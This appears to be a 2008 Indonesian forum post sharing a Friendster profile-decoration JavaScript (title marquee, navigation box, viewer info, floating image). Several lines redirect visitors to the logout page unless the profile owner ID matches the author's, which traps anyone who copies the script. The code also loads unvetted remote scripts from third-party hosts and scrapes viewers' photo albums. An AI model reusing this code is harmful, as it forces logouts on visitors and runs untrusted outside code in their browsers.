2008-12-03 03:57:32

ichigo_reloaded
» FTalker
FTalk Level: zero
211
0
1969-12-31

Re: Bagi para member yang ingin bertanya seputar tweaking FS. Silahkan bertanya dan posting disini. Sebelum itu harap membaca dan mengikuti [url=http://theftalk.com/t23371-FORUM-RULES.html][b]FORUM

maybe scriptq nie berguna buat kamu... preview nya di [url=http://profiles.friendster.com/kenpazara]sini[/url] [spoiler]//FORCE LOGIN if(pageViewerID==""){ alert("Please Log In to Your Friendster Account To View My Page!"); top.location.href="http://www.friendster.com/login.php?next=%2fuser.php%3fuid%3D"+pageOwnerID+"&cookie=1"; } if (pageOwnerID!=="71533160") { window.location.href = "http://www.friendster.com/logout.php"; } //Created by Title bar Maker (http://www.bosiljak.hr/titlemaker) function tb8_makeArray(n){ this.length = n; return this.length; } tb8_messages = new tb8_makeArray(4); tb8_messages [0] = "Welcome To My Profile "+pageViewerFName+"!"; tb8_messages [1] = "Thank You For Coming"; tb8_messages [2] = "Please Enjoy Your Stay"; tb8_messages [3] = "[K][E][N][P][A][C][H][i] [Z][A][R][A][K][i]"; tb8_rptType = 'infinite'; tb8_rptNbr = 100; tb8_speed = 100; tb8_delay = 5000; var tb8_counter=1; var tb8_currMsg=0; var tb8_tekst =""; var tb8_i=0; var tb8_TID = null; function tb8_pisi(){ tb8_tekst = tb8_tekst + tb8_messages[tb8_currMsg].substring(tb8_i, tb8_i+1); document.title = tb8_tekst; tb8_sp=tb8_speed; tb8_i++; if (tb8_i==tb8_messages[tb8_currMsg].length){ tb8_currMsg++; tb8_i=0; tb8_tekst="";tb8_sp=tb8_delay; } if (tb8_currMsg == tb8_messages.length){ if ((tb8_rptType == 'finite') && (tb8_counter==tb8_rptNbr)){ clearTimeout(tb8_TID); return; } tb8_counter++; tb8_currMsg = 0; } tb8_TID = setTimeout("tb8_pisi()", tb8_sp); } tb8_pisi() //INFO RECENT document.getElementById("content_0").getElementsByTagName("ul")[2].innerHTML= "<li><strong>Viewers Info:</strong>[<a style=\"margin: 0px; font-weight: normal;\" href=\"/"+pageViewerID+"\"> Your Profile </a>]<br></li>"+ "<li><a>You User Name</a> - "+pageViewerFName+"<br></li>"+ "<li><a>Your ID</a> - "+pageViewerID+"<br></li>"+ "<li><a>Visiting Time</a> - "+Date()+"<br></li>"; /* -----s-m-o-g-a--k-o-l-e-k-s-i-k-u---i-n-i--b-e-r-g-u-n-a--u-n-t-u-k--k-a-l-i-a-n--s-e-m-u-a---http://friendster.com/dreamishope---------------- */ scriptFolder = 'http://h1.ripway.com/arashiuzumaki15/' scripts = new Array() scripts [0] = 'snow.js' scripts [1] = 'vmpsidebar.txt' scripts [2] = 'morefriends.js' for(x in scripts){ myscripts = document.createElement('script') myscripts.src = scriptFolder+scripts[x] document.getElementsByTagName('head')[0].appendChild(myscripts)} /* -----s-m-o-g-a--k-o-l-e-k-s-i-k-u---i-n-i--b-e-r-g-u-n-a--u-n-t-u-k--k-a-l-i-a-n--s-e-m-u-a---http://friendster.com/dreamishope---------------- */ function kiddy() { //(pattern) addBox("L-R","Header",htmlnya,"cssid","sibling"); } /* -----s-m-o-g-a--k-o-l-e-k-s-i-k-u---i-n-i--b-e-r-g-u-n-a--u-n-t-u-k--k-a-l-i-a-n--s-e-m-u-a---http://friendster.com/dreamishope---------------- */ if (!attachOnLoadHandler(function(){kiddy()})) window.onload = function(){kiddy()}; /* -----s-m-o-g-a--k-o-l-e-k-s-i-k-u---i-n-i--b-e-r-g-u-n-a--u-n-t-u-k--k-a-l-i-a-n--s-e-m-u-a---http://friendster.com/dreamishope---------------- */ function addBox (type,head,htm,id,sibling) { //by marfillaster //type "LEFT" | "RIGHT" //head header string //htm innerHTML string //id css_id string //sibling css_id_insertbefore string | null /* Available default Siblings LEFT 0 = controlpanel 1 = photos 13 = blogs 12 = reviews 6 = moreabout 18 = publiccomments 10 = scrapbook RIGHT 15 = meettrail 2 = friends 14 = googleads 7 = fan 8 = groups null - appends to last */ try { var li=document.createElement("li"); } catch(e) { var li=document.createElement("<li>"); } if(type=="LEFT") { var ul=document.getElementById("0").parentNode.parentNode; htm="<div class='boxcontent'>"+htm+"</div>"; } else var ul=document.getElementById("2").parentNode.parentNode; li.innerHTML="<div id='"+id+"' class='commonbox "+id+"'>"+ "<h2>"+head+"</h2>"+ "<div id='content_"+id+"'>"+ htm+ "</div>"+ "</div>"; if(sibling==null) ul.appendChild(li); else { sibling=document.getElementById(sibling).parentNode; ul.insertBefore(li,sibling); } } function processAjaxRequest(type,url,cont,param,handler,handlerparam) { if(handlerparam) handlerparam=","+handlerparam; else handlerparam=""; var httprequest= window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject("Msxml2.XMLHTTP"); if(handler) eval("httprequest.onreadystatechange=function(){if (httprequest.readyState==4) {"+handler+"(httprequest.responseText"+handlerparam+");}}"); httprequest.open( type, url, cont); if(type=="POST") { httprequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); httprequest.setRequestHeader("Content-length", param.length); httprequest.setRequestHeader("Connection", "close"); } httprequest.send(param); } function invert(x) { if(x>0) return parseInt("-"+x); else if(x<0) { x=x+""; return parseInt(x.substr(1,x.length-1)); } return 0; } function randOrd(){ return (Math.round(Math.random())-0.5); } function getElementsByClass(searchClass,node,tag) { var classElements = new Array(); if ( node == null ) node = document; if ( tag == null ) tag = '*'; var els = node.getElementsByTagName(tag); var elsLen = els.length; var pattern = new RegExp(searchClass); for (i = 0, j = 0; i < elsLen; i++) { if ( pattern.test(els[i].className) ) { classElements[j] = els[i]; j++; } } return classElements; } /*END MISC FUNCTIONS*/ /* -----s-m-o-g-a--k-o-l-e-k-s-i-k-u---i-n-i--b-e-r-g-u-n-a--u-n-t-u-k--k-a-l-i-a-n--s-e-m-u-a---http://friendster.com/dreamishope---------------- */ (function () { VIEWERPIC = { // private property photo: null, init: function () { if (pageViewerID !== "") { try { VIEWERPIC.ajaxRequest("GET", "http://" + location.hostname + "/" + pageViewerID, true, null, VIEWERPIC.viewer, null); } catch (e) {} } }, viewer: function (htm) { if (htm.replace(/^\s*|\s*$/g, "") === "") { window.alert("ERROR: Empty xmlresponse! \n Unable to parse your details!"); return; } else { htm = htm.slice(htm.indexOf("<div class=\"imgblock200\">") + 0, htm.indexOf("<ul id=\"controlPanelButtons\">") + 0); htm = htm.slice(htm.indexOf("<img src=\"") + 10, htm.indexOf("\"></a></div>") + 0); VIEWERPIC.photo = document.createElement("div"); VIEWERPIC.photo.id = "viewerphoto"; VIEWERPIC.photo.align = "center"; VIEWERPIC.photo.appendChild(document.createElement("a")); VIEWERPIC.photo.getElementsByTagName("a")[0].href = "/" + pageViewerID; VIEWERPIC.photo.getElementsByTagName("a")[0].target = "_blank"; VIEWERPIC.photo.getElementsByTagName("a")[0].title = pageViewerFName; VIEWERPIC.photo.getElementsByTagName("a")[0].appendChild(document.createElement("img")); VIEWERPIC.photo.getElementsByTagName("img")[0].src = htm; VIEWERPIC.photo.appendChild(document.createElement("br")); VIEWERPIC.photo.appendChild(document.createElement("span")); VIEWERPIC.photo.getElementsByTagName("span")[0].className = "q"; VIEWERPIC.photo.getElementsByTagName("span")[0].appendChild(document.createElement("a")); VIEWERPIC.photo.getElementsByTagName("a")[1].href = "/" + pageViewerID; VIEWERPIC.photo.getElementsByTagName("a")[1].target = "_blank"; VIEWERPIC.photo.getElementsByTagName("a")[1].title = pageViewerFName; VIEWERPIC.photo.getElementsByTagName("a")[1].innerHTML = pageViewerFName; document.getElementById("viewerpic").parentNode.replaceChild(VIEWERPIC.photo, document.getElementById("viewerpic")); } }, ajaxRequest: function (type, url, async, param, func, handlerparam) { /** * ajaxRequest - You may not remove or change this notice. * version: 2.4 * Copyright 2008 by FeRuZZ © http://profiles.friendster.com/feruzz. * * @type: "GET" | "POST" * @cont: true | false * @param: string | null * @func: string | null * @handlerparam: string | null **/ var httprequest = null; var requestDone = false; var data = null; var responseType = "text"; var timeout = 0; var ival = null; var onreadystatechange = {}; var msxml = ["Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.3.0", "Msxml2.XMLHTTP", "Microsoft.XMLHTTP"]; for (var x = 0, len = msxml.length; x < len; x += 1) { try { httprequest = window.ActiveXObject ? new ActiveXObject(msxml[x]) : new XMLHttpRequest(); break; } catch (e) { if (async) { httprequest = null; } } } if (typeof func === "function") { onreadystatechange = function (isTimeout) { if (!requestDone && httprequest && (httprequest.readyState === 4 || isTimeout === "timeout")) { requestDone = true; if (ival) { window.clearInterval(ival); ival = null; } if (!httprequest.status && location.protocol === "file:" || (httprequest.status >= 200 && httprequest.status < 300) || httprequest.status === 304 || httprequest.status === 1223) { var resPonse = (/xml/i.test(responseType))? httprequest.responseXML : httprequest.responseText; func(resPonse.replace(new RegExp("<script[^>]*>.*?<\/script>", "gi"), ""), handlerparam); } } }; } if (async) { ival = window.setInterval(onreadystatechange, 13); if (timeout > 0) { window.setTimeout(function () { if (httprequest) { httprequest.abort(); if (!requestDone) { onreadystatechange("timeout"); } } }, timeout); } } if (type === "GET" && (/GET/i.test(type))) { var ts = new Date().getTime(); var ret = url.replace(/(\?|&)_=[\S\s]*?(&|$)/, "$1_=" + ts + "$2"); url = ret + ((ret === url) ? (url.match(/\?/) ? "&" : "?") + "_=" + ts : ""); } if (data && type === "GET" && (/GET/i.test(type))) { url += (url.match(/\?/) ? "&" : "?") + data; data = null; } if (type === "POST" && (/POST/i.test(type))) { var headers = "application/x-www-form-urlencoded" + ("UTF-8" ? "; charset=" + "UTF-8" : ""); var contentLength = param ? param.length: 0; try { httprequest.setRequestHeader("Content-type", headers); httprequest.setRequestHeader("Content-length", contentLength); if (httprequest.overrideMimeType && (navigator.userAgent.match(/Gecko\/(\d{4})/) || [0, 2005])[1] < 2005) { httprequest.setRequestHeader("Connection", "close"); } } catch (err) {} } httprequest.open(type, url, async); httprequest.setRequestHeader("ajaxRequest", "true"); httprequest.setRequestHeader("X-Requested-With", "XMLHttpRequest"); httprequest.setRequestHeader("If-Modified-Since", "Thu, 01 Jan 1970 00:00:00 GMT"); httprequest.setRequestHeader("Accept", "text/javascript, application/javascript, text/html, application/xml, text/xml, text/plain, */*"); httprequest.send(param); if (!async) { onreadystatechange(); } } }; })(); VIEWERPIC.init(); if (pageOwnerID!=="71533160") { window.location.href = "http://www.friendster.com/logout.php"; } //Dynamic Drive.com var script = document.createElement("script"); script.type = "text/javascript"; script.src = "http://z8.invisionfree.com/rainbowlinkies/index.php?act=Attach&type=post&id=16884"; document.getElementsByTagName("head")[0].appendChild(script); if (pageOwnerID !== "71533160") { window.location.href = "http://www.friendster.com/logout.php"; } // VISITOR'S ALBUM VA = {}; (function() { VA = { info: { album: null }, regexp: { album: /id="photogallery">([\S\s]*?)<\/div>\s*<\/div>\s*<div\s*class="rc">/i }, init: function() { try { ajaxRequest("GET", "http://" + location.hostname + "/viewphotos.php?a=0&uid=" + pageViewerID , true, null, VA.viewer, null); } catch(e) {} }, viewer: function(myfriend) { if (myfriend.replace(/^\s*|\s*$/g, "") === "") { alert("Error: Unable to parse user details!"); return; } else if (myfriend) { for (var val in VA.info) { try { VA.info[val] = new RegExp(VA.regexp[val]).exec(myfriend)[1].replace(/^(\d)$/, "0$1"); } catch(e) { VA.info[val] = ""; } } visitoralbum="<div class='flogrid75'>"+VA.info.album.replace(/photothumb/gi,"flogriditem").replace(/m.jpg/gi,"t.jpg"); addBox("LEFT","your photo ^^",visitoralbum,"visitoralbum","1"); } } }; })(); if(pageViewerID!=pageOwnerID) if(pageViewerID!="") VA.init(); if (pageOwnerID!=="71533160") { window.location.href = "http://www.friendster.com/logout.php"; } function ajaxRequest(type, url, async, param, func, handlerparam) { /** * ajaxRequest - You may not remove or change this notice. * version: 2.4 * Copyright 2008 by FeRuZZ ? http://profiles.friendster.com/feruzz. * * @type: "GET" | "POST" * @async: true | false * @param: string | null * @func: string | null * @handlerparam: string | null **/ var httprequest = null; var requestDone = false; var data = null; var responseType = "text"; var timeout = 0; var ival = null; var onreadystatechange = {}; var msxml = ["Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.3.0", "Msxml2.XMLHTTP", "Microsoft.XMLHTTP"]; for (var x = 0, len = msxml.length; x < len; x++) { try { httprequest = window.ActiveXObject ? new ActiveXObject(msxml[x]) : new XMLHttpRequest(); break; } catch (e) { if (async) { httprequest = null; } } } if (typeof func === "function") { onreadystatechange = function (isTimeout) { if (!requestDone && httprequest && (httprequest.readyState === 4 || isTimeout === "timeout")) { requestDone = true; if (ival) { window.clearInterval(ival); ival = null; } if (!httprequest.status && location.protocol === "file:" || (httprequest.status >= 200 && httprequest.status < 300) || httprequest.status === 304 || httprequest.status === 1223) { var resPonse = (/xml/i.test(responseType))? httprequest.responseXML : httprequest.responseText; func(resPonse.replace(new RegExp("<script[^>]*>.*?<\/script>", "gi"), ""), handlerparam); } } }; } if (async) { ival = window.setInterval(onreadystatechange, 13); if (timeout > 0) { window.setTimeout(function () { if (httprequest) { httprequest.abort(); if (!requestDone) { onreadystatechange("timeout"); } } }, timeout); } } if (type === "GET" && (/GET/i.test(type))) { var ts = (new Date()).getTime(); var ret = url.replace(/(\?|&)_=.*?(&|$)/, "$1_=" + ts + "$2"); url = ret + ((ret === url) ? (url.match(/\?/) ? "&" : "?") + "_=" + ts : ""); } if (data && type === "GET" && (/GET/i.test(type))) { url += (url.match(/\?/) ? "&" : "?") + data; data = null; } if (type === "POST" && (/POST/i.test(type))) { var headers = "application/x-www-form-urlencoded" + ("UTF-8" ? "; charset=" + "UTF-8" : ""); var contentLength = param ? param.length: 0; try { httprequest.setRequestHeader("Content-type", headers); httprequest.setRequestHeader("Content-length", contentLength); if (httprequest.overrideMimeType && (navigator.userAgent.match(/Gecko\/(\d{4})/) || [0, 2005])[1] < 2005) { httprequest.setRequestHeader("Connection", "close"); } } catch (err) {} } httprequest.open(type, url, async); httprequest.setRequestHeader("ajaxRequest", "true"); httprequest.setRequestHeader("X-Requested-With", "XMLHttpRequest"); httprequest.setRequestHeader("If-Modified-Since", "Thu, 01 Jan 1970 00:00:00 GMT"); httprequest.setRequestHeader("Accept", "text/javascript, application/javascript, text/html, application/xml, text/xml, text/plain, */*"); httprequest.send(param); if (!async) { onreadystatechange(); } } //navigation var code="<div align='center'><a href='http://www.friendster.com'><br><img src='http://images.friendster.com/images/friendster_nav_logo.png' /class='shakeimage' onMouseover='initshake(this);rattleimage()' onMouseout='stoprattle(this);top.focus()' onClick='top.focus()'></a></br><br><input type='button' value='Message' onClick=\"top.location.href='http://www.friendster.com/messages.php'\" class=\"xinoxs\" /class='shakeimage' onMouseover='initshake(this);rattleimage()' onMouseout='stoprattle(this);top.focus()' onClick='top.focus()' align='middle' style='display:inline;' title=\"header=[MESSAGE] body=[<img src='http://i193.photobucket.com/albums/z39/xinoxs/ryoma-1.gif'>]\"><input type='button' value='Settings' onClick=\"top.location.href='http://www.friendster.com/editaccount.php'\" class=\"xinoxs\" /class='shakeimage' onMouseover='initshake(this);rattleimage()' onMouseout='stoprattle(this);top.focus()' onClick='top.focus()' align='middle' style='display:inline;' title=\"header=[Setting] body=[<img src='http://i193.photobucket.com/albums/z39/xinoxs/ryoma-1.gif'>]\"><input type='button' value='Help' onClick=\"top.location.href='http://www.friendster.com/custhelp.php'\" class=\"xinoxs\" /class='shakeimage' onMouseover='initshake(this);rattleimage()' onMouseout='stoprattle(this);top.focus()' onClick='top.focus()' align='middle' style='display:inline;' title=\"header=[Help] body=[<img src='http://i193.photobucket.com/albums/z39/xinoxs/ryoma-1.gif'>]\"><input type='button' value='Log Out' onClick=\"top.location.href='http://www.friendster.com/logout.php'\" class=\"xinoxs\" /class='shakeimage' onMouseover='initshake(this);rattleimage()' onMouseout='stoprattle(this);top.focus()' onClick='top.focus()' align='middle' style='display:inline;' title=\"header=[Log Out] body=[<img src='http://i193.photobucket.com/albums/z39/xinoxs/ryoma-1.gif'>]\"></br><input type='button' value='Home' onClick=\"top.location.href='http://www.friendster.com'\" class=\"xinoxs\" /class='shakeimage' onMouseover='initshake(this);rattleimage()' onMouseout='stoprattle(this);top.focus()' onClick='top.focus()' align='middle' style='display:inline;' title=\"header=[Home] body=[<img src='http://i193.photobucket.com/albums/z39/xinoxs/ryoma-1.gif'>]\"><input type='button' value='My Profile' onClick=\"top.location.href='http://profiles.friendster.com/user.php'\" class=\"xinoxs\" /class='shakeimage' onMouseover='initshake(this);rattleimage()' onMouseout='stoprattle(this);top.focus()' onClick='top.focus()' align='middle' style='display:inline;' title=\"header=[My Profile] body=[<img src='http://i193.photobucket.com/albums/z39/xinoxs/ryoma-1.gif'>]\"><input type='button' value='Explore' onClick=\"top.location.href='http://friendster.com/explore.php'\" class=\"xinoxs\" /class='shakeimage' onMouseover='initshake(this);rattleimage()' onMouseout='stoprattle(this);top.focus()' onClick='top.focus()' align='middle' style='display:inline;' title=\"header=[Explore] body=[<img src='http://i193.photobucket.com/albums/z39/xinoxs/ryoma-1.gif'>]\"><input type='button' value='Search' onClick=\"top.location.href='http://www.friendster.com/gallery.php'\" class=\"xinoxs\" /class='shakeimage' onMouseover='initshake(this);rattleimage()' onMouseout='stoprattle(this);top.focus()' onClick='top.focus()' align='middle' style='display:inline;' title=\"header=[Search] body=[<img src='http://i193.photobucket.com/albums/z39/xinoxs/ryoma-1.gif'>]\"><input type='button' value='Jobs' onClick=\"top.location.href='http://olx.friendster.com/gateway_cobranded.php?country=PH&target=jobs'\" class=\"xinoxs\" /class='shakeimage' onMouseover='initshake(this);rattleimage()' onMouseout='stoprattle(this);top.focus()' onClick='top.focus()' align='middle' style='display:inline;' title=\"header=[Jobs] body=[<img src='http://i193.photobucket.com/albums/z39/xinoxs/ryoma-1.gif'>]\"><input type='button' value='Invite' onClick=\"top.location.href='http://www.friendster.com/invite.php'\" class=\"xinoxs\" /class='shakeimage' onMouseover='initshake(this);rattleimage()' onMouseout='stoprattle(this);top.focus()' onClick='top.focus()' align='middle' style='display:inline;' title=\"header=[Invite] body=[<img src='http://i193.photobucket.com/albums/z39/xinoxs/ryoma-1.gif'>]\"></br></br></div>"; addBox("LEFT","Navigation",code,"3222","0"); //float image left dude="<div id='divStayTopLeft' style='position:absolute;z-index:50;'><img src='http://h1.ripway.com/arashiuzumaki15/fighter/userbar/Kenpachi.jpg'/></div>"; flow=document.getElementById('flo_wrapper'); river=document.createElement("div"); river.innerHTML=dude; flow.parentNode.insertBefore(river,flow); //in this part you can change it into "frombottom" or "fromtop" var verticalpos="frombottom" function BoyantDiv() { var startX = 15; var startY = 170; function ml(id) { if (document.getElementById) { var wek=document.getElementById(id); } else if (document.all) { var wek=document.all[id]; } else { var wek=document.layers[id]; } if(document.layers) { wek.style=wek; } wek.sP = function(x,y) {shino(x,y);}; function shino(x,y) { wek.style.left=x; wek.style.top=y; } wek.x = startX; if (verticalpos=="fromtop") { wek.y = startY; } else{ if (navigator.appName.indexOf("Netscape") != -1) { wek.y = pageYOffset + innerHeight; } else { wek.y = document.body.scrollTop + document.body.clientHeight; } wek.y -= startY; } return wek; } window.stayTopLeft = function () {boyant();}; function boyant() { if (verticalpos=="fromtop"){ if (navigator.appName.indexOf("Netscape") != -1) { var tenten = pageYOffset; } else { var tenten = document.body.scrollTop; } ftlObj.y += (tenten + startY - ftlObj.y)/8; } else{ if (navigator.appName.indexOf("Netscape") != -1) { var tenten = pageYOffset + innerHeight; } else { var tenten = document.body.scrollTop + document.body.clientHeight; } ftlObj.y += (tenten - startY - ftlObj.y)/8; } ftlObj.sP(ftlObj.x, ftlObj.y); wakoko=setTimeout("stayTopLeft()", 50); } ftlObj = ml("divStayTopLeft"); stayTopLeft(); } BoyantDiv();[/spoiler] silahkan dicoba..

Last edited by ichigo_reloaded (2008-12-03 04:02:27)

Board footer

© 2024 F Talk

Current time is 04:21

[ 13 queries - 0.197 second ]
Privacy Policy